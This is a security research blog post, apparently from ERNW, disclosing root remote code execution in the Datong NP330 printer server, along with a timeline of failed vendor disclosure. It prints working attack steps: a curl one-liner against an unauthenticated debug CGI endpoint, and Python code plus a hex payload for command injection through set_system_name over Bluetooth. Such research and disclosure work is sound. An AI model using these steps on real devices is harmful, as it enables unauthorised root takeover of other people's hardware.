This blog post describes the journey of how we discovered an interesting Bluetooth SoC within the Datong NP330, a Printer Server IoT device. Our initial goal was to reverse-engineer and analyze the Bluetooth controller that is included in the device. So we wanted to be able to dump the firmware or, if possible, get shell access on the printer server. During that journey we found a few vulnerabilities that ultimately let an attacker fully compromise the device. This is possible over Bluetooth or network via unauthenticated remote code execution with root privileges.
The Printer Server Device
This is the device in question. It might be a white label device, because there seem to be many different vendors or manufacturers selling it on various marketplaces. However, the one we tested was the device sold by Datong. We only bought this one model and didn’t confirm whether the other devices that look identical are actually the exact same device.
The device has a USB-C port used for power, a USB-A port to connect the printer and a LAN port to expose the server to the local network. It’s not really advertised in a lot of places, but it also exposes a Bluetooth printing interface. The plastic casing is easily removed, but for now, we don’t really need to remove it. We have a network port, why not look at that one first?
Network and Web Application
So first, we connected the LAN port of the device to our laptop. According to the manual2, the default configuration of the device is using DHCP to obtain an IP address.

At least that’s what we assume this slightly confusing paragraph means.
Once the device has obtained an IP address, the sensible thing to do would have been a port scan to find any exposed services. But impatient as we were, we directly tried to access the device’s port 80 hoping for some kind of HTTP web server.
After navigating to port 80, we were greeted by the following log in page:

The quick start guide and manual don’t seem to mention any web server credentials, so at this point we were stuck for a second. Future me will tell you that it would have been worth trying some of the well-known username-password combinations (admin, password, root, …). Instead, we started a directory brute-force to find out what files the server serves.
$ gobuster dir -u http://192.168.98.3 -w ~/tools/SecLists/Discovery/Web-Content/big.txt -x html,htm,php
[...]
cgi-bin (Status: 301) [Size: 168] [--> http://dtp_login.cn/cgi-bin/]
cgi-bin/ (Status: 403) [Size: 168]
css (Status: 301) [Size: 164] [--> http://dtp_login.cn/css/]
debug.html (Status: 200) [Size: 3362]
favicon.ico (Status: 200) [Size: 60005]
fonts (Status: 301) [Size: 166] [--> http://dtp_login.cn/fonts/]
framework (Status: 301) [Size: 170] [--> http://dtp_login.cn/framework/]
home.html (Status: 200) [Size: 6667]
images (Status: 301) [Size: 167] [--> http://dtp_login.cn/images/]
index.html (Status: 200) [Size: 1407]
js (Status: 301) [Size: 163] [--> http://dtp_login.cn/js/]
net.html (Status: 200) [Size: 26984]
Progress: 81892 / 81892 (100.00%)
[...]
It turns out that there are only very few .html pages. Interestingly, they all returned status 200. Without proper authentication, we would have expected a status such as 401 or a redirect to the login page. So what happens if we just navigate to http://IP/home.html in our browser?
Well, this.

It turns out that authentication is not required. The home.html page is accessible to anyone. But this is very helpful! It means we don’t have to look for the credentials or brute force them. Even though we later found out that the credentials are just admin:admin. Which is a combination that certainly should be checked before moving on. I might have been too impatient at that point.
We can now access the configuration page of the printer and possibly change network, system, or printing settings!

The next step was to identify any possibility to run or inject shell commands or to obtain access the device’s file system.
But wait, there’s something else that looked very interesting in the gobuster scan results above. If you have looked at them carefully, you might have spotted the debug.html page. Opening debug.html reveals the following page:

We can run commands on the system. But not only that, we’re also root. This is great! At least for us as researchers with the goal of analyzing the Bluetooth controller that is. Unfortunately, it’s very bad for people actually using this device. In combination with the broken authentication this allows anyone with network access to the printer server to execute commands as root user.
The debug.html page uses a CGI endpoint at /cgi-bin/config.cgi with an exec_command action parameter. To run commands as root, a simple curl one-liner suffices:
$ curl 'http://192.168.98.3/cgi-bin/config.cgi?action=exec_command' --data 'command=uname -a'
Linux NP0F0N24040412 4.9.84 #602 SMP PREEMPT Wed Oct 11 21:05:01 CST 2023 armv7l GNU/Linux
Funnily enough, the debug shell has already been documented on reddit a while ago:

This root shell access gives us the chance to better understand what is exposed via the Bluetooth interface and might provide us the ability to communicate with the Bluetooth controller. So let’s get to it.
Bluetooth
Apparently, there’s no mobile app to communicate with the printer via Bluetooth. So we’ll have to find out what data we can send and where the incoming data is processed by statically and dynamically analyzing the firmware.
Using the nRF Connect Mobile App we can see that the printer exposes various GATT services.

We can connect to them and try to send data. None of the services require authentication. That is not necessarily a surprise. The printer server doesn’t have a display or buttons to confirm pairing, so that might be difficult to do. But we don’t know what kind of services they are and what data they expect.
So we need to move the analysis to the device and its firmware.
The first interesting thing we noticed was that there was no Bluetooth daemon running on the device. In fact, nothing in the logs or in the running processes suggested that any kind of Bluetooth service is running. We also found no hints for any HCI communication between the device and the Bluetooth controller.
So does the device even use Bluetooth?
There needs to be some kind of Bluetooth setup and initialization. The device sends BLE Advertisements and exposes multiple services via GATT. Both of these need to be configured by a Bluetooth host, a controller cannot do this on its own. For those less familiar with the Bluetooth architecture: a typical setup involves two components. The controller, which is the hardware that handles the low-level wireless communication and the host, which is the software stack that manages higher-level protocols like GATT services, connections, and controller configuration. These two components talk to each other via the HCI (Host Controller Interface).
Usually, we would expect to see a Bluetooth host service running on the main SoC, sending HCI commands to the controller to configure which services to advertise and expose, handle incoming connections, and process GATT requests.
The fact that we found no HCI traffic and no Bluetooth host daemon running suggests that we’re either missing something, or the that the assumed Bluetooth controller on the device is more than just a controller. It might be a self-contained SoC that combines Bluetooth host and controller. This is not entirely uncommon.
So, what Bluetooth SoC are we dealing with here?
The image below shows the Bluetooth SoC on printer server’s PCB. It’s a Barrot BR8051A01.

After googling and examining Barrot’s documentation, we stumbled upon something Barrot calls iBridge. From what we understood, the document explains a functionality where data received via Bluetooth GATT or RFCOMM (SPP) is sent out via the chip’s UART. This sounds interesting and might just fit our case! With this setup, the main SoC wouldn’t have to do any Bluetooth configuration, setup, or operation. It would just have to read from and write to the UART.
We tried confirming that this is actually what’s happening here with the following setup. The PCBites are attached to the UART pins of the Barrot Bluetooth Chip and connected to our Tigard, an FTDI FT2232H-based board.

We also used Barrot’s iBridge app, which is essentially an app that sends input data via BLE GATT or Bluetooth RFCOMM to a connected Bluetooth device. Here we send the default string “This is Test String” from the phone and receive it on the Barrot chip’s UART as seen on the computer screen. This confirms our assumption!

In essence, this Bluetooth SoC is something like a Bluetooth to serial converter. This is very interesting. For one, it’s actually not a bad idea. It abstracts away all the Bluetooth stuff and lets the embedded developer craft a streaming UART protocol without having to worry about Bluetooth development. However, such an abstraction might also lead to complications.
Designing a custom UART protocol and designing a custom Bluetooth Low Energy protocol are two very different things. UART is very close to the hardware. Using the interface typically requires physical access to the device. Bluetooth works very differently and is exposed much more than a hardware interface. Topics such as authentication and authorization are quite different. So, if you expose your serial protocol via Bluetooth, you’ll have to think about these security considerations.
In our case, that didn’t happen. There’s no authentication and there are no pairing requirements. Anyone in Bluetooth range can connect to the device and speak the protocol. Any security issue in that protocol would be available to such an attacker.
While searching for any kind of documentation for the printer server on the internet, we found a protocol specification. And it turns out, this is the protocol that is exposed via Bluetooth.

The layout of a packet thus is as follows:

The packet starts of with a two byte start value. This is always 0xAA55, followed by a two-byte size and a four-byte CRC. The CRC is just a sum of all bytes in the packet’s payload, which we found out by trial and error. The payload itself seems to be a JSON object in all cases we’ve observed.
So to construct a valid protocol message, the following Python code can be used:
import struct
def build_packet(cmd):
cmd = cmd.encode("utf8")
l = struct.pack("h", len(cmd))
crc = 0
for b in cmd:
crc += b
return b"\x55\xAA" + l + struct.pack("I", crc) + cmd
One of the documented commands is the get_system_info command. Sending this command should be a simple way to check whether our payload construction works.
> p = build_packet('{"cmd":"get_system_info"}')
> print(p.hex())
55aa19003d0900007b22636d64223a226765745f73797374656d5f696e666f227d
And it works!
$ python ps_gatt_cmd.py 55aa19003d0900007b22636d64223a226765745f73797374656d5f696e666f227d
Scanning for PrinterServer...
Found PrinterServer at 0E31EAC3-8265-6AEE-D3D3-895153A87CD5
Connected: True
Discovered services and characteristics.
Subscribed to 49535343-1e4d-4bd9-ba61-23c647249616
Sent 55aa19003d0900007b22636d64223a226765745f73797374656d5f696e666f227d
[Notification] 49535343-1e4d-4bd9-ba61-23c647249616
U{"name":"PrinterServer","hardware":"NP33x-Pro","software":"20230919.1","runtime":"31","printmode":"0","reboot":"0","recvtimeout":"20","heartbeat":"0","mDNS":"0", "mqtt":{"appid":"d0XXXXXXXXXXXXXX","dvsno":"NP0F0XXXXXXXXX","appkey":"iXXX
[Notification] 49535343-1e4d-4bd9-ba61-23c647249616
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=","server_url":"http://www.datongsmart.com:6081/api"}, "yinbao":{"appid":"","dvsno":"","appkey":"","server_url":""}, "eth0":{"ip":"","mac":"08:00:27:3d:a6:dc"},"eth1":{"ip":"","mac":"08:01:27:3d:a6:dc"},"
[Notification] 49535343-1e4d-4bd9-ba61-23c647249616
wlan":{"ip":"","mac":""},"4g":{"ip":"","mac":""}, "usb0":{"dev":"","port":"9103","info":""}, "usb1":{"dev":"","port":"9100","info":""}, "usb2":{"dev":"","port":"9101","info":""}, "usb3":{"dev":"","port":"9102","info":""}}
There are many different configuration commands. We loaded the responsible daemon’s binary (/mnt/mtdblock2/sysconfig) in our favorite disassembler to see whether we can find a way to inject some code. After searching for the string get_system_info we found the command handler function. Isn’t this beautiful?

Command Injection
Going through these handlers there’s one very interesting handler for the command set_system_name. The code parses the value with the key name in the JSON command input. It then sprintfs it into a shell command string buffer and executes it with system().

This is a textbook command injection! We should be able to inject arbitrary shell commands with a single Bluetooth message. The simplest way is to enclose our injected command in backticks. By setting the name value to
`touch /tmp/root_rce`
The resulting shellcmd variable will look like the following before it is fed to system:
echo "`touch /tmp/root_rce`" > /etc/hostname
As a result, we have to construct our payload like this:
> p = build_packet('{"cmd":"set_system_name","name":"`touch /tmp/root_rce`"}')
> print(p.hex())
55aa3800dc1300007b22636d64223a227365745f73797374656d5f6e616d65222c226e616d65223a2260746f756368202f746d702f726f6f745f72636560227d
Sending the command should now create the /tmp/root_rce file:
$ python ps_gatt_cmd.py 55aa3800dc1300007b22636d64223a227365745f73797374656d5f6e616d65222c226e616d65223a2260746f756368202f746d702f726f6f745f72636560227d
Scanning for PrinterServer...
Found PrinterServer at 0E31EAC3-8265-6AEE-D3D3-895153A87CD5
Connected: True
Discovered services and characteristics.
Subscribed to 49535343-1e4d-4bd9-ba61-23c647249616
Sent 55aa3800dc1300007b22636d64223a227365745f73797374656d5f6e616d65222c226e616d65223a2260746f756368202f746d702f726f6f745f72636560227d
[Notification] 49535343-1e4d-4bd9-ba61-23c647249616
U"V
{"result":"1","message":"success"}
The set_system_name function does not return the command’s output. As such, we won’t receive the output of our command. This is why the PoC above creates a file. Fortunately, we can check its existence using the debug.html shell from before.
$ curl 'http://192.168.98.3/cgi-bin/config.cgi?action=exec_command' --data 'command=ls -la /tmp'
total 64
drwxrwxrwt 4 root root 200 Jan 1 00:00 .
drwxr-xr-x 23 sshd dbus 1792 Apr 1 2024 ..
-rw-r--r-- 1 root root 0 Jan 1 00:00 conflog
drwxr-xr-x 2 root root 60 Jan 1 00:00 dbus
-rw-r--r-- 1 root root 1665 Jan 1 00:00 log.log
-rw-r--r-- 1 root root 53547 Jan 1 00:00 messages
-rw-r--r-- 1 root root 145 Jan 1 00:00 resolv.conf
-rw-r--r-- 1 root root 0 Jan 1 00:00 root_rce
-rw------- 1 root root 0 Jan 1 00:00 sshd
drwxr-xr-x 2 root root 40 Jan 1 00:00 subsys
And here is the root_rce file. Owned by root. We can now successfully execute code as root on the printer server via Bluetooth!
Summary
In summary, we identified multiple vulnerabilities in the Datong printer server.
- Broken authentication in the web interface.
- Root shell debug functionality exposed via web interface.
- Unauthenticated GATT and RFCOMM Bluetooth communication.
- Command injection in Bluetooth GATT and RFCOMM service.
The second and fourth issues are even more critical as the responsible services are running as root user.
At this point we can really only recommend against using the device. At least not in any production or critical environment. We tried to responsibly disclose the issues to the vendor (see below), but were unsuccessful. Moreover, it’s not really possible to mitigate these issues as an owner of the device. It is also very likely that there are additional vulnerabilities. We didn’t do an exhaustive search and only briefly looked at some of the Bluetooth commands as our actual interest was the Bluetooth SoC itself.
Disclosure
Initially getting in contact with Datong turned out to be difficult. Their website doesn’t list any contact information. After searching for a bit, we found two email addresses on a different product’s subpage (www.dtprinter.cn/np730/):

Unfortunately, sending an email to these addresses was not possible. Neither domain has an MX record. Moreover, the contact form on that page does not seem to work either. Nothing happens when the send button is clicked.
In the end we found that we can contact Datong via the Alibaba vendor interface. So we contacted them via the chat. We informed them of our findings, asked how to securely transmit the vulnerability information and shared our disclosure policy.
Datong responded quickly. However, they never addressed the exchange of information about the vulnerabilities and immediately started threatening us. We again pointed out that we have no malicious intent and would like to responsibly disclose the issues. We never got a response to that.
A few weeks later we sent them our vulnerability report along with our disclosure timeline via the Alibaba chat. It was never acknowledged. Instead, we were threatened again.
As a result, we decided not to invest any further time in trying to establish a conversation with Datong and disclose the vulnerabilities via this blog post.
A detailed timeline is found below.
Timeline
| Date | Event |
|---|---|
| 28th November 2025 | Initial unsuccessful contact attempt via Email. |
| 1st December 2025 | Unsuccessful contact attempt via contact form. |
| 1st December 2025 | Contact attempt via Alibaba vendor chat. |
| 2nd December 2025 | Response from Datong threatening “further action” if details are disclosed. |
| 2nd December 2025 | Inquiry by ERNW on how to proceed. |
| 3rd December 2025 | According to Alibaba read receipt: Datong reads our question but does not respond. |
| 9th February 2026 | ERNW sends Datong the vulnerability report via the Alibaba chat. |
| 10th February 2026 | Datong responds again with threatening further action if information is disclosed, no acknowledgement of the vulnerabilities and the report by ERNW. |
If you want to learn more about ERNW’s work in the area of Bluetooth security research you may find these posts interesting:
- CVE-2025-20908: Use of insufficiently random values in Samsung’s Auracast implementation
- Using the Raspberry Pi Pico W as a Bluetooth Dongle
- Security Advisory: Airoha-based Bluetooth Headphones and Earbuds
ERNW will also do a Bluetooth hacking workshop at this year’s TROOPERS conference. Stay tuned!
